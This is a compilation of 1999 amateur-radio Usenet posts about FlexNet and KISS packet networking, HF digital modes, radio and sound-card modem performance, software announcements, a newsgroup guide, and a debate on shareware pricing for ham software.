Some users have reported being able to use the FlexNet "KISS" driver to operate KISS TNC's such as Kantronics or Timewave. What they don't mention is that the FlexNet KISS driver is designed for serial links only, and does not provide the timing info needed for FlexNet's adaptive parameter adjustment. They end up giving up most of the advantage of using FlexNet in the first place. This might do in a pinch for an individual user, but would be a real waste on a node.

I've run FlexNet for close to a year now, under the "zoo channel" conditions I described, and it fits in just fine. It's actually simpler and easier to reach many local ROSE destinations by going through my Flexnet than it is to use ROSE addressing, for example. On the downside, FlexNet nodes do not appear in NetRom style NODES lists, though of course they do show up in MHEARD lists.

I have not recieved a single complaint about the FlexNet node, and I live amongst a hotbed of "LandLine Lids" and "Lockout Lids" who would complain if you hung them with a new rope. I'm certain that I would have heard about it long ago if anyone had found a way to be inconvenienced by it. What has happened instead is that I am assisting other Hams in the area who are interested in setting up their own FlexNet nodes. People connect out of

curiosity, and like what they see.

>I'd still run HF on the the Linux side, then, right?

I'll start with the HF question, since it's shortest to answer: I was the guy who did those tests. Use the LINUX box for HF.

Henk de Groot, PE1DNN was kind enough to provide me with a special version of his "XSCC" FlexNet driver for HDLC cards that had provision for tinkering around with the timing, in hopes that I could find a timing ratio that would allow FlexNet's adaptive parameter adjustment system to be fooled into working at 300 baud. Well, I tried many combinations out with my card, and had no luck. It just didn't translate over to that slow a speed very well, giving inappropriate parameter settings. (PACLENS too big, MAXFRAMES too numerous, etc) I used a DRSI PCPA-1 , with an external HAL ST-7000 modem on port 2 for 300bd HF.
So for the time being, FlexNet on HF is just not practical. Tomorrow a new driver may appear to change this situation, but it isn't there today.

On linking to the LINUX BBS, the standard deal is to assign that BBS the SSID of eight, as in N5PVL-8, and assign SSID's 0-9 to the FlexNet node in the DOS box, so that it may "control" the -8 SSID..

Use Ethernet or a KISS serial link. I use a 19.2kb fulldup serial link, as the KISS driver takes up less overhead (memory) than the Ethernet card's PACKET driver in combo with the FlexNet Ethernet driver. I have found 19.2kb fulldup to be plenty fast enough.

My setup is two DOS machines, one running FlexNet, and the other running 'BPQ/FBB. I then assign the BBS (N5PVL-8) in FlexNet as a "Non-FlexNet neighbor" on port 0 (serial link) , as described in the article "FlexNet/BPQ Serial Link Info" at my web-site. Briefly, this does two things: It causes FlexNet to test the connection to the BBS over the serial KISS link every four minutes or so to determine it's turnaround time in milliseconds, and it makes direct connections to the BBS possible through the FlexNet node. If anyone on the "zoo channel" connects to N5PVL-8, both the FlexNet and BPQ nodes are transparent. It's as if they weren't there.

Note: When I wrote the article on linking FlexNet/BPQ, I used plain N5PVL as the BBS call. I have since changed over to an SSID of eight for the BBS (N5PVL-8) as is the standard practice in Europe.

The BPQ switch handles the HF Packet stuff, and direct connects to N5PVL-8 work with it as well.

I like the FlexNet/BPQ/FBB combo for the same reason you are looking at LINUX/BPQ... Between the two of them, almost any equipment and digital mode is usable, and FlexNet is relegated to VHF/UHF stuff, where it "shines".

Yeah, I'm pretty skeptical about adapting this VHF stuff fo HF -- unless you
can get the packet sizes way, way down. And, going down to tiny packets, I suspect
would require a complete redesign anyway. My money is on the protocols designed
for HF in the first place, like Pactor2, Clover or Pactor, or I forget the
Kantronics HF gizmo they got. Or perhaps some new software only driven system.

As an aside, one thing PSKS31 has proven to me is that a lot of people
can adapt very quickly to a better mode, if all they have to do is run a
different piece of software. This is new to ham radio, methinks.

HF Packet has been around quite a while, but it will never approach the newer stuff such as CLOVER, PACTOR, etc. Even if the adaptive parameter system had incremented down to a useful level for 300bd, it still would not have been able to approach the performance of the new HF digital modes. You are absolutely right. That's one reason I wasn't too broken hearted over the experiment not working out. It was an inconvenience, but not a real problem.

>

It's a natural result of the average computer being so much faster and capable than they were just a few years back. Also, DSP programming has advanced quite a bit in the last few years, making it much easier to play around with new digital modes. Between the two, now we are seeing SoundCard TNC's for several different modes, and external modems as opposed to TNC's are much more usable and practical than they used to be.

Some Hams are announcing "the death of the TNC in a box" because of all this, but I think they are being unrealistic. There will always be a good market for units that can operate on their own while you do other things with your computer, and which can be used with anything from a dumb terminal to the latest Pentium, to an old C-64, to a Mac.

I have been surprised that the proprietary TNC outfits have not taken to FlexNet though, as it eliminates one of the major stumbling blocks to more sales - The fact that many Hams are intimidated by the pages and pages of TNC commands in a a typical TNC's manual. I don't know anyone who even claims to understand them all. A FlexNet driver would reduce the number of user-settable parameters to three, which would be a major selling point. This, in addition to the performance boost the adaptable parameters give you. They're missing out on a good deal but that's their lookout, not mine.

Right now I tend to lean toward the external modems for use with FlexNet.. I never really paid much attention to the BayCom kind of units in the past and thought they were a little bit hokey, but once I tried out a few of them I was very impressed. I use the Tigertronics "Bay-Pak" units that are built with surface-mount components and which are more resistant to stray RF than the old original home-brew BayCom design. At 50 bux a pop for 1.2kb units and 99 bux for the 9.6kb ones, the price is hard to beat.

RGR. Notice that I didn't suggest KISS be canned altogether, as others have done. That wouldn't be a good idea for the TNC manufacturer, who is wanting a wide range of computability for their product.

I do believe that we could do without the BPQ extended KISS support though, in the interest of being FlexNet compatible. 'BPQ is obsolete, FlexNet is just coming into widespread use in the USA.

I assume TNC manufacturers sell their products for commercial use also.
And Flexnet, I thought, had pretty restrictive 'ham radio only' licensing
limitations.

Flexnet is just tunneling IP through AX.25 circuits. This approach is
extremely lacking, because it requires a table of AX.25 callsigns
corresponding to IP destination addresses at each routing node, and FlexNet
does not support the multicasting necessary to distribute this table.

Hence it has to be maintained manually, which is a drag.

Also the fact that a normal FlexNet node isn't automatically an IP routing
node severely reduces the extent over which IP traffic can be routed
through FlexNet.

Last time I heard from them, the FlexNet guys were NOT interested to port
their code to Linux. Thus, a "FlexNet for Linux" necessarily has to be
a re-write by someone else.

Of course it could change, in the early years DK7WJ was't interested in
DOS and Windows either, and he has produced a version for those systems.

3145. CSS anounces MutliComm Host in beta

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-16 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <OSsLzT6z#GA.364@cpmsnbbsa03>
Source record: 17301

CSS announces host mode program for Windows 95, Windows 98 and Windows NT 32 to support MFJ TNCs
Muscle Shoals, Alabama. July 16, 1999: Creative Services Software announced today beta testing has begun for a new 32 bit host mode programs for the MFJ TNCs The program takes advantage of the advanced features of Windows 95 , Windows 98, and Windows NT. MultiComm Host will use the TNC's "BLP" host mode for Packet communications.

Company President Rick Ruhl, N4GDO, said, " We're working with MFJ on some firmware and functionality challenges and once testing is complete, we'll have the first 32 bit Host Mode program for the MFJ and TNC2 based TNCs. BLP Host Mode was created by Howard Goldstein, N2WX, in 1991 and according to the MFJ technical staff, we are the first company in the 8 years it's existed to successfully interface to it. "

Product features include: Each stream has its own window and transmit buffer, support for the major callbooks on CD, user configurable colors and fonts, a "bottomless" receive window, automated connections, binary file transfer, runs true 32 bit multitasking and multithreading and is easy to use with online help at your fingertips.

"The program is written in robust C++ ", Ruhl said. "Which allowed us to add features to the program that couldn't be done in other languages."

Creative Services Software, Inc was incorporated in 1988. They created the 32-bit Terminal program for Kantronics TNCs called PacTerm "98 and PK-Term " 99 for AEA/TimeWave TNCs. The web address is http://www.cssincorp.com .

On Fri, 09 Jul 1999 11:56:11 -0700, Cathryn Mataga <cathryn@junglevision.com> wrote:
>Well, I'm not convinced that a backbone would take any more hits because
>the user connections are faster.

The proper traffic model for packet networks is the same as for
local ethernets with external long haul links. Most of the action
is on the local net, so it needs to have low latency and high capacity.
Relatively little of the action requires use of the long haul links, so
they don't have to have as low a latency or as high a capacity.

Long haul backbones with low latency and high capacity would be
nice, but they aren't as essential as a fast local network. Most of the
applications which require low latency and high capacity are local
applications, ie whiteboard conferencing for example. Most long haul
usage is non-realtime, email and the like, so low latency and high
capacity aren't as critical.

If we could deploy low latency high capacity long haul networks,
we would have a more internet style global realtime capability.
But given the sparseness of amateur networks, ie we're thin on
the ground, our long haul links have to be relatively slow and low
capacity simply to fit in the spectrum available to us which is
suitable for making long hops. We're not going to have megabit
circuits across the Atlantic or Pacific for example, or even across
our sparsely populated rural areas, but we can have them on a
metropolitan basis.

(A constellation of high orbit amateur satellites could change this,
but given the problems we're having just getting P3D into orbit, that's
not something we should expect in the near future.)

That's why getting local user speeds up has to be our near term
top priority. The GRAPES 56 kb RF modem is one way and the
work TAPR is doing with SS radios is another. IMHO, messing
around with anything slower for the local user link is a waste of
time. It won't give us enough improvement to enable a broader
spectrum of packet applications.

Applications are what drive user interest, and the tired old 1970s
style phone BBS translated to 1200 baud radio paradigm is no longer
sufficient to attract a sizeable user population. That packeteers are
starved for new applications is evidenced by the growth of APRS.
But there aren't a lot of applications we can invent which will hold
our interest and also can work at low speeds.

Our expectations are higher today. The internet has conditioned us
to demand applications that require low latency and high capacity in
order to function reasonably well. My favorite application, whiteboard
conferencing, is an example. It is simply unworkable at low speed.
But at 56 kb it is a very satisfactory way to exchange graphic ideas
with members of our local group. (We could just use the wired internet,
of course, but as Charles is fond of saying, that isn't radio. Just using
radio isn't enough, however, we have to be doing something with it
that is interesting. Fast local user networks let us do that.)

3148. Yaesu FT-2600M Packet performance

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-16 00:00:00 UTC
From: Dave G <Dave-broken@dcg.org>
Message-ID: <378F252E.A4E15EC@dcg.org>
Source record: 17304
Cross-posted to: rec.radio.amateur.equipment,rec.radio.amateur.digital.misc

Sporting an easy to use dedicated data connector, we thought that the new Yaesu FT-2600M just might be useful for 9600 baud packet in our local TCP/IP network. The connector provides separate and isolated inputs and outputs for 9600 and 1200, plus Yaesu includes their DCS or Digital "PL" in the radio, a characteristic shared by the commercial radios we've used successfully (Ritron & Motorola).

Unfortunately we were disappointed with the performance of this radio at 9600. As near as we can tell, Yaesu fell short in two important areas:

1.) To be good at 9600 baud packet, radios must have a reasonbly flat transmit audio response down to a few Hz. This is because the modulated waveform of 1's and 0's does not average zero, having the effect of varying the average frequency at a low rate. The commercial rigs address this by applying modulation to both the varacter AND the VCO, allowing the radio to be accurately modulated down to 2 or 3 Hz. Yaesu didn't do this, thus the transmit frequency response falls off sharply below about 50 Hz. Good enough for CTCSS, but not 9600 baud packet.

The best we could do with strong signals was about a 30% error rate.

2,) On half duplex circuits, minimizing TXD improves performance dramatically. The receive to transmit delay of this radio is slow, requiring a TX Delay value of 200 ms or so to work at all. The commercial rigs include specific synthesizer speedup circuitry, allowing TX Delays as short as 80 ms.

The only thing we've found faster, are the (few and far between) crystal radios or the multimode rigs that are way too expensive to dedicate to a network.

The FT-2600 is great little rig that I liked a lot for 2m voice work, but performs poorly for 9600 packet.

Archive-name: radio/personal-intro

This message describes the rec.radio.amateur.*, rec.radio.cb, rec.radio.info, and rec.radio.swap newsgroups, as well as their Internet mailing list counterparts and complements. It is intended to serve as a guide for the new reader on what to find where. Questions and comments may be directed to Jeffrey Herman, KH6O, jeffreyh@hawaii.edu, or Paul Schleck, K3FU, pschleck@novia.net.

This message was last changed on 14 March, 1998.

History
=======

Way back when, before there was a Usenet, the Internet hosted a mailing list for hams, called (appropriately enough) INFO-HAMS. Ham radio discussions were held on the mailing list, and sent to the mailboxes of those who had signed up for it. When the Usenet software was created, and net news as we now know it was developed, a newsgroup was created for hams: net.ham-radio. The mailing list and the newsgroup were gatewayed together, eventually.

Over the years, as the net grew, the volume of discussion became progressively higher. First one by one, and then as part of two reorganizations, what was once one group became many. In the process, developments elsewhere on the net were reflected in the groups as they were created, most notably the change to place all of the ham radio groups in one hierarchy.

The collection of newsgroups continues to grow as more people join the net, and as more topics of discussion gain volume, I expect to see more groups be created as well. This follows what is happening on the rest of the net.

Nearly all of the radio newsgroups have corresponding mailing lists, the notable exception being rec.radio.swap. There are also a few mailing lists that don't have newsgroups.

The Current Groups
==================

It's important to post messages to the group that's appropriate for them, and not to the groups that aren't. The whole idea of having different newsgroups is so that folks who aren't interested in, say, homebrewing, don't have to wade through messages about homebrewing on the way to read about Field Day. Posting appropriately is just good etiquette.

The rec.radio.amateur.misc group is the catchall. It is what rec.ham-radio was renamed to during the first major reorganization. Any message that's not more appropriate in one of the other groups belongs here, from contesting to DX to ragchewing on VHF to information on becoming a ham.

The group rec.radio.amateur.digital.misc is for discussions related to (surprise!) digital amateur radio. This doesn't have to be the common two-meter AX.25 variety of packet radio, either; some of the most knowledgeable folks in radio digital communications can be found here, and anything in the general area is welcome. The name was changed to emphasize this, and to encourage discussion not only of other text-based digital modes, such as AMTOR, RTTY, and Clover, but things like digital voice and video as well. The former group, rec.radio.amateur.packet, was removed on September 21st, 1993. It is obsolete, and you should use .digital.misc instead (or the appropriate new mailing list, mentioned below). The group has .misc as part of the name to allow further specialization if the users wish it, such as .digital.tcp-ip.

The swap group is rec.radio.swap. This recognizes a fact that became evident shortly after the original group was formed: Hams don't just swap ham radio gear, and other folks besides hams swap ham equipment. If you have radio equipment, or test gear, or computer stuff that hams would be interested in, here's the place. Equipment wanted postings belong here too. Discussions about the equipment generally don't; if you wish to discuss a particular posting with the buyer, email is a much better way to do it, and the other groups, especially .equipment and .homebrew, are the place for public discussions. There is now a regular posting with information on how to go about buying and selling items in rec.radio.swap; please refer to it before you post there. To answer a frequently asked question: No, there is no mailing list that goes along with this group. If you can't read Usenet news directly, you're out of luck.

The group rec.radio.amateur.policy was created as a place for all the discussions that seem to drag on interminably about the many rules, regulations, legalities, and policies that surround amateur radio, both existing and proposed. Recent changes to the Amateur Radio Rules (FCC Part 97) have finally laid to rest the Great Usenet Pizza Autopatch Debate - it's now legal to order a pizza on the autopatch, if you're not in the pizza business - as well as complaints about now-preempted local scanner laws hostile to amateurs, but plenty of discussion about what a bunch of rotten no-goodniks the local frequency coordinating body is, as well as the neverending no-code debate, may still be found here.

The group rec.radio.cb is the place for all discussion about the Citizens' Band radio service. Such discussions have been very inflammatory in rec.ham-radio in the past; please do not cross-post to both rec.radio.cb and rec.radio.amateur.* unless the topic is genuinely of interest to both hams and CBers - and very few topics are.

The rec.radio.info group is just what its name implies: it's the place where informational messages from across rec.radio.* may be found, regardless of where else they're posted. As of this writing, information posted to the group includes Cary Oler's daily solar progagation bulletins, ARRL

bulletins, the Frequently Asked Questions files for the various groups, and radio modification instructions. This group is moderated, so you cannot post to it directly; if you try, even if your message is crossposted to one of the other groups, your message will be mailed to the moderator, who is currently David Dodell, WB7TPY. The email address for submissions to the group is rec.radio.info-moderator@primenet.com. Inquires and other adminis-trivia should be directed to rec.radio.info-request@primenet.com. For more information about rec.radio.info, consult the introduction and posting guidelines that are regularly posted to that newsgroup.

The groups r.r.amateur.antenna, .boatanchors, .dx, .equipment, .homebrew, and .space are for more specialized areas of ham radio: discussions about antennas, the older tube based amateur, military, and commercial gear, commercially-made equipment, homebrewing, and amateur radio space operations. The .equipment group is not the place for buying or selling equipment; that's what rec.radio.swap is for. Similarly, the .space group is specifically about amateur radio in space, such as the OSCAR program and SAREX, the Shuttle Amateur Radio EXperiment; other groups cover other aspects of satellites and space. Homebrewing isn't about making your own alcoholic beverages at home (that's rec.crafts.brewing), but rather construction of radio and electronic equipment by the amateur experimenter. The .dx group is devoted to long distance amateur communications. Each of these subgroups has its own charter and FAQ; please refer to the archives to find these documents.

Except for rec.radio.swap and rec.radio.cb, all of these newsgroups are available by Internet electronic mail in digest format; send a mail message containing "help" on a line by itself to listserv@ucsd.edu for instructions on how to use the mail server.

All of the groups can be posted to by electronic mail, though, by using a gateway at the University of Texas at Austin. To post a message this way, change the name of the group you wish to post to by replacing all of the '.'s with '-'s - for example, rec.radio.swap becomes rec-radio-swap - and send to that name@cs.utexas.edu (rec-radio-swap@cs.utexas.edu, for example). You may crosspost by including multiple addresses as Cc: entries (but see below). This gateway's continued availability is at the pleasure of the admins at UT-Austin, and is subject to going away at any time - and especially if forgeries and other net.abuses become a problem. You have been warned.

Mailing Lists

In addition to the mailing lists that mirror the Usenet newsgroups, there also are a few that stand alone. These cover specific areas of ham radio, and discussion is focused on just those areas. PLEASE BE SURE TO SAVE THE WELCOME MESSAGE YOU RECEIVE AFTER SUBSCRIBING -- IT WILL CONTAIN IMPORTANT INFO REGARDING UNSUBSCRIBING!

The cq-contest mailing list is for discussions of contesting in ham radio. To join, send an email to cq-contesting-request@contesting.com.

The DX mailing list covers the finer points of DXing. This one is also joined by mailing "subscribe" on a line by itself, this time to dx-request@unbc.edu.

There's also a VHF mailing list, for VHF operators of the weak signal persuasion. You can join this one be sending "subscribe vhf" on a line by itself to vhf-request@w6yx.stanford.edu.

The QRP-L list is devoted to building and operating gear at low-power outputs. To subscribe, send an email to listproc@lehigh.edu and only write: subscribe qrp-l Your Name.

The TopBand e-list is devoted to all areas of operation on 160m. To subscribe, send an email to majordomo@contesting.com and only write: subscribe topband and follow the instructions you'll be sent.
This site, contesting.com, also hosts a couple dozen other ham-related e-lists. Use the above address, and only write: lists to get the entire index.

The Boatanchors e-list is devoted to the older tube-based ham, military, and commercial communications gear. To subscribe, send an email to: listserv@listserv.tempe.gov and only write: subscribe boatanchors

For homebuilding transmitters and receivers using tube technology, there is the Glowbugs e-list; send an email to: majordomo@piobaire.mines.uidaho.edu and only write: subscribe glowbugs <your@address.here>

The VHF DX discussion list can be accessed by sending an email to: majordomo@blacksheep.org and only writing: subscribe VHF-DX-discuss.

We now have a list devoted to amateur radio history. To subscribe, send an email to: ham-radio-history-subscribe@egroups.com - leave the body of the message blank.

Qth.net hosts over 100 ham-related e-lists, including lists devoted to each state, manufacturer, mode, band - too many to state here. Send an email to majordomo@qth.net and only write: lists to get the complete index.

For one of the most complete indexes of email lists, see the excellent web site http://pw2.netcom.com/~ac6v/pageae.html

Please do NOT send subscription requests to the mailing lists themselves; that doesn't work very often, and is very annoying to those on the list. Also, please keep your electronic mail address current with any mailing lists you subscribe to, as dealing with returned email is a nuisance for the person maintaining the mailing list.

A Few Words on Crossposting
==========

Please do not crosspost messages to two or more groups unless there is genuine interest in both groups in the topic being discussed, and when you do, please include a header line of the form "Followup-To: group.name" in your article's

headers (before the first blank line). This will cause followups to your article to go to the group listed in the Followup-To: line. If you wish to have replies to go to you by email, rather than be posted, use the word "poster" instead of the name of a group. Such a line appears in the headers of this article.

One of the few examples of productive cross-posting is with the rec.radio.info newsgroup. To provide a filtered presentation of information articles, while still maintaining visibility in their home newsgroups, the moderator strongly encourages cross-posting. All information articles should be submitted to the rec.radio.info moderator so that he may simultaneously cross-post your information to the appropriate newsgroups. Most newsreaders will only present the article once, and network bandwidth is conserved since only one article is propagated. If you make regular informational postings, and have made arrangements with the moderator to post directly to the group, please cross-post as appropriate.

3151. DRSI DPK-2400

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-17 00:00:00 UTC
From: vk3jma@net2000.COM.AU
Message-ID: <3.0.6.32.19990717133825.007bae70@mail.net2000.com.au>
Source record: 17307

Hello,

I have recently purchased for the great sum of $AUS25 a DRSI DPK-2400
Packet TNC.

It is brand new but came with no manual.

The box is marked "Commercial Version".

I wonder if I would be able to find someone that may haev a copy of the
manual I could get a copy of & also, is DRSI's 2400 baud compatiable with
that used by say MFJ-2400 modems?

Regards

Mark

3152. Help: confused info on charger Kenwood (BC-10)

Newsgroup: rec.radio.amateur.digital.misc

Hello all!

Is there anyone who can give me more information about the
Compact charger BC-10 from Kenwood?
The manual contains a table with charging times.

But there is a error in it I suspect:

it says the BC-10 should charge for 1 hour, while the BC-11 (there
stated as the QUICK charger should need more time).

Does anyone have this thing or know more about it.
I use it for my battery packs for the TH-77.

Any comment would be welcomed!

Thanks a lot !

73

That's correct, it has its own sound card driver, for SB family and
also Windows Sound System. That means you can't use other sound cards with it,
even if they are supported for normal sound. But that's the majority of
sound cards anyway.

> card is and what kind you have. It says in the manual that it has
> trouble living alongside the Linux sound drivers, as a matter of
> fact. This is as of Redhat 6.0. My advice, and this is just from having

You can always use modules for sound and for the soundmodem. I did that
for quite a few months. I just bought a cheap TNC instead though.

> spent a few days banging on this thing, is that the best way to
> go is to go out and find and old genuine Creative Labs sound card,
> with the jumpers. Either a Sound Blaster or a SB Pro. The manual
> says something about SB16's having trouble at 9600 baud -- and I suspect
> this has something to do with the tone adjustment functions of the
> card gumming up the signals.

On the other hand, I think the driver doesn't support 9600 on the older
cards like the original SB -- the DSP is too underpowered or some such.

> Me, I haven't really figured out all of how Plug and Play and Linux
> act together -- err, at least it all seems screwy. With Linux, I've

I use a Plug and plug Vibra16C (SB16) for soundmodem here, works just fine.
Use isapnptools to set it up.

Indeed, protocols (like ax25) belong in the kernel. There's no need for
applications to duplicate the code.

Of course, in that case the implementation of protocols in the kernel
should be of the quality achieved by applications and/or external devices.
Some work is to be done in this area in Linux!

>radios we've used successfully (Ritron & Motorola).

>Unfortunately we were disappointed with the performance of this radio at
>9600. As near as we can tell, Yaesu fell short in two important areas:

This is the usual practice for Japanese FM radios... they put the
connector and the label on it because the buyer wants to see that, but
otherwise they are just as unsuitable for packet as the earlier models.

I have an FT-212RH and an FT-712RH and the characteristics are exactly as
you describe. Only you have to make the external connection yourself
before you'll find out!

BTW, 80ms txdelay is LONG. A local node uses an AEG/Telefunken "Telecar"
commercial trx and it works well at 20ms, txdelay set to 30ms to allow
for some extra delay at the receive end. It also features DC-coupling
of the modulation! A variable DC voltage on the input lets you tune it
a few KHz up and down. Ideal for 9k6!

Tekk transceivers are similarly fast. 10ms would probably work as well
but the timing is done in 10ms steps and has a 10ms uncertainty.

Hi I remember some one asking in one of the news groups if it was possible
to
run 2 sound cards under windows 95.
I would like to try this and so has any one got any where with this ?
my reason, sound cards can be used to make a very cheap digital /
storage volt meter / oscilloscope / spectrum analyser out of a PC and I was
thinking of say 2 cards = 2 channels ?

so has any one tried it ? and if so with (or without) what success ?

cheers Martin G1GYC

Well, I dabbled in my first RTTY contest yesterday, working a couple of dozen stations on 25 and 20 meters before the heat got me and I went to bed early.

RTTY contesting is quite different from the phone contesting experience. It seems we are dependent on software to tune in the signal and also do a good job or printing legible text under poor conditions, as opposed to relying on trained ears to dig out the warbled SSB signals. I got lots of practice at tuning in RTTY signals, I have done it before but doing so quickly under contest conditions is a whole new skill set.

I used the demo version of MIXW32 for software and I think it did a good job, certainly the macros I programmed helped a lot. I had several stations with S8-9 signals that printed out only 30% copy so I am not sure if that was do to QRM, poor tuning by me, or a software problem .

I am still giggling at myself, I ,for some foolish reason, called CQ on 15M at one point and immediately got a mini-pile up of 5-6 stations, mostly from Italy. I quickly learned how having absolutely NO experience of copying multiple signals on RTTY was a problem and I soon went back to the more comfortable hunt and peck method.

Since anyone with a stable rig and a PC with soundcard can now do RTTY , PSK, and SSTV (no TNC required), I would urge you to try it out for fun. I had lots of fun, worked several new countries, and will be there again at the next digital contest.

I just use a program called 'minicom' -- its just a plain
modem program -- designed for dialing BBS's, I guess -- but it
works okay for the PK232, as along as you can remember the
cammands -- and to press ctrl-z to switch from transmit to
receive in Pactor. It also works over the internet, and I
can telnet into my house and operate pactor -- theoretically.
Though I have no way of knowing whether I'm CQ'ing over someone
else's signal, so I haven't tried this. I recommend getting
a better telnet client than the ones that comes with Windows
if you want to call in from Windows. I use a program called ewan.

Yea
I figure out minicom this afternoon. Its great! I haven't figured out
how to get the color right on the host box. mfcolor is private but it
global. I haven't been able to find mfcolor to get the screen the way I
want it. I can work the packet box out in the shop from the computer
here at the house. I don't think one can get to it via the internet
because of my router box. Unless one would telnet into my router box
then activate telnet on that box. I think I could do it but no one else
can. I don't think on can access the internet though minicom. Though it
would bew neat to set a airlink up. I wish I could get the colors beter
than black and white. I tried to change then in minicom setup but I keep
getting that message about mfcolor being private but something was
globol

thanks and 73 from Oris

WeFax ⊠99 for Windows 95, Windows 98 and Windows NT RELEASED!.

New program available now!

Muscle Shoals, Alabama. July 19, 1999

Creative Services Software announces WeFax ⊠99 , a new 32 bit Windows WeFax program for the Kantronics TNCs is available now in Preview. The cost for the program is $49.95 and it includes free updates to all 1.x releases.

A demo version of the program can be downloaded from http://www.cssincorp.com/wefax.

The black and white weather facsimile charts , referred to as ⊠WEFAX⊠ by HF radio operators, have been transmitted by shore stations for years and received by commercial ships, yachts, and radio amateurs. This allows yachts, marine and weather observers to get images of current weather conditions where no telephone or television is available.

The program takes advantage of the WEFAX mode of the Kantronics line of TNC⊠ s. It will allow the user to save the transmissions in .BMP (bitmap) format, print the transmission to any Windows printer, or email it via the Internet.

WeFax ⊠99 is written in robust C++ using the Microsoft Foundation Class library.

Creative Services Software is on the web at http://www.cssincorp.com. The product can be ordered directly from CSS at 256-381-6100 or purchased through your favorite dealer.

Windows, Windows 95 and Windows NT are Registered Trademarks of Microsoft Corporation.

Yep, sound input...

> 3. Provide both receive _and_ transmit for CW & RTTY (and,
> ideally, for SSTV as well).

Of course, plus ACARS, FAX, several tone modes (DTMF, EIA, CCIR, etc), SITOR, FFT, Hell, PSK31, and more.

> 4. Are priced no higher than the average commercial utility
> software (i.e., the idea that a relatively simple communications program

Since it's so simple to write, I presume you've already started work on it, and should be releasing it later this week? But to answer your question, it's only $45.

> 5. (If available by download) are available in shareware format

So people can download it, and use it forever, without compensating the author for his efforts? How long are you going to evaluate it for, 10 years? It's a proven fact that "pure shareware" doesn't work. I've tried

it. As soon as I "crippled" my software (purely by adding a small nag and session timeout, although you can run it as many times as you want), my registration rates more than tripled. You do the math.

How do you go from ham radio being "non commercial" to the idea that those who write ham related software should be slaves, working for free? Or actually, at a loss. Now, if you'd care to buy the compilers and other programming packages, copies of all the programming books, supply the computers and other hardware necessary to write, debug, and test the software, as well as fund the internet sites that host the ftp download areas, and pay the bills for the ISP that provides dialup so said ham software can be uploaded for you to download, send me some email and we'll talk.

I guess you've also contacted Kenwood, Icom, and others, informing them that they too should stop making a profit from their business activities?

73's
Chris

It's not absurd, it's economics. The more copies you sell the less you have to charge to cover your costs plus a reasonable profit. Amateur radio is a limited market therefore you have to charge more per copy unless you're willing to work for free. Actually, amateur programs are extremely economical considering the limited sales potential. I doubt anyone has ever gotten rich writing software for ham radio (personally, I figure I have worked for about ten cents an hour). I've seen programs for other limited markets that sell for a thousand or more dollars per copy. I'm sure Norton Utilities took a lot more time to write than some of these but then Norton sells a lot more copies. The problem is that people who don't understand programming and software development perceive that the value of software is about the cost of the floppy disk it comes on.

I'm not suprised so much ham radio stuff is in DOS. I've worked in both,
DOS and Windows professionally and for just banging out little programs
for fun, DOS is hard to beat. So, if I don't expect to be paid, or like
it's something for my own personal use, I usually go back to DOS, that
is Watcom protected mode DOS.

Loading up Visual C and all that is such a hassle and pain, and it's
so slow, I'd rather not touch the thing unless I'm getting proper
American dollars up front. If you're dealing with weird hardware,
Windows is doubly hard to work with because of the need for writing
VXD's -- and learning that is, like serious, "do this stuff for a living"
kind of code. Not something you're going to pick up on your spare time.

As an aside, I'm not sure what it is in Visual C that's so slow.
I heard of one company that used a bank of PC's running
full-time off-site, for their Visual C builds. (They also used this hardware
for rendering, so it did double duty.) I think partially
it's the C++ stuff that makes programs take hours to compile. As the
compiler itself is pretty fast for straight C from the command line
programs.

Besides, I tend to judge 'advanced or not' in radio terms rather than
by what OS the code is using.

I also think that Linux is sucking off a lot of your hobbiest programmers
-- just since the compiler comes there for free, and basically it's
easier to deal with. (Except for X, for me at least, which I still haven't
really groked.)

No kidding!

Guess why many of us "ex ham radio freeware" authors no longer
write any code for this "market" ... a whole lot of other places to
play at software where the efforts are appreciated ... and rewarded.

Probably they consider that the typical HAM was an early adopter in
microcomputers, and has the wellknown "shift register" in his house.

Somewhere in the basement he has an old Apple][or TRS-80 which he
does not use anymore, in his ham shack he has a 286 or 386 that was his
next computer on which he spent a lot of money but which cannot cope with
today's applications, and in the living room or his son's room is the
recent Pentium that the family uses for playing games and surfing the
Internet.

Each time the best machine in the house becomes unusable for its purpose,
the entire register is shifted by one. Maybe these days some Windows
capable machines get shifted to the ham shack this way. Time to come up
with software that runs on them.

I have heard this story so many times (usually in the form "but I don't
want to tie up my new machine doing packet radio, I use my XXX for that")
that I assume that manufacturers heard it as well.

Rob

I think another part of the problem is that ham radio aside, shrink-wrapped
Windows software isn't quite the market it was even a few years ago. Really
all the VC has gone out of software, and into web-based, Ebay style businesses.
Who is making big bucks in Windows software nowadays, aside from Microsoft?
I don't know? Myself, I've moved out of the PC business, and now am doing
Gameboy cartridges.

Add on this the problem that ham radio software -- that covers so much
hardware is going to be hell in testing and customer support. Maybe you
might hack together something in two months, but really shipping any real
product on a platform as finicky as Windows takes lots of testing on a big
cross-section of supported hardware combinations. All those radios, and the sound cards
out there and TNC's and who knows what. That's a huge effort.

Especially for real-time terminal programs DOS is much easier to deal with. In DOS your program pretty much has control of the computer. In Windows, windows has control and your program gets to run when windows lets it run. Windows 98 can be a problem even when running in a DOS box. Windows 98 decides to do some swap file clean up and all of a sudden your interrupts are gone and you are missing incomming characters. Now you have to test to see if the computer is running a 16550A uart and activate the FIFO. Messy!

Then why the heck aren't you writting the low cost programs for amateur radio and making all that money? Funny how the people with all the answers never produce any of the solutions.

Recently I mentioned on alt.ham-radio.packet that I think trying to sell
WinAPRS (at IMHO quite a high price) was a mistake; I've said similar things
about other shareware before. The usual answer is that people are trying
to make a living so I shouldn't complain about the price.

Who is really trying to make a living writing ham radio software?
I don't have a lot of respect for `shareware' these days -- especially
in ham radio. What happened to the ham radio spirit? Exchanging ideas
and information. At a price only?

Hamish VK3SB

This is just an observation based on my 48 years as a ham. Seems to
me, the average ham would rather "borrow" a piece of software
indefinitely than pay for it. Most don't seem to be sensitized
to the fact that it is criminal and immoral to steal software.

You are assuming the market is the size of the number of hams out there.
I may not be a marketing student, but of the 100 or so hams I know and
communicate with at least occasionally, not even a handful of them would
be interested in such software:

700,000 total hams.
Of these, probably 90% have actually turned
on a radio in the past 5 years. (Many are SK
and still in the database, etc.)

of those, probably 30% own computers..
of those, about 75% have Windows platforms..
of those, about 10% are interested in digital at all..
of those, about 75% would have a use for full featured software
like you have described.

Of course, this is general, and my personal knowledge is only
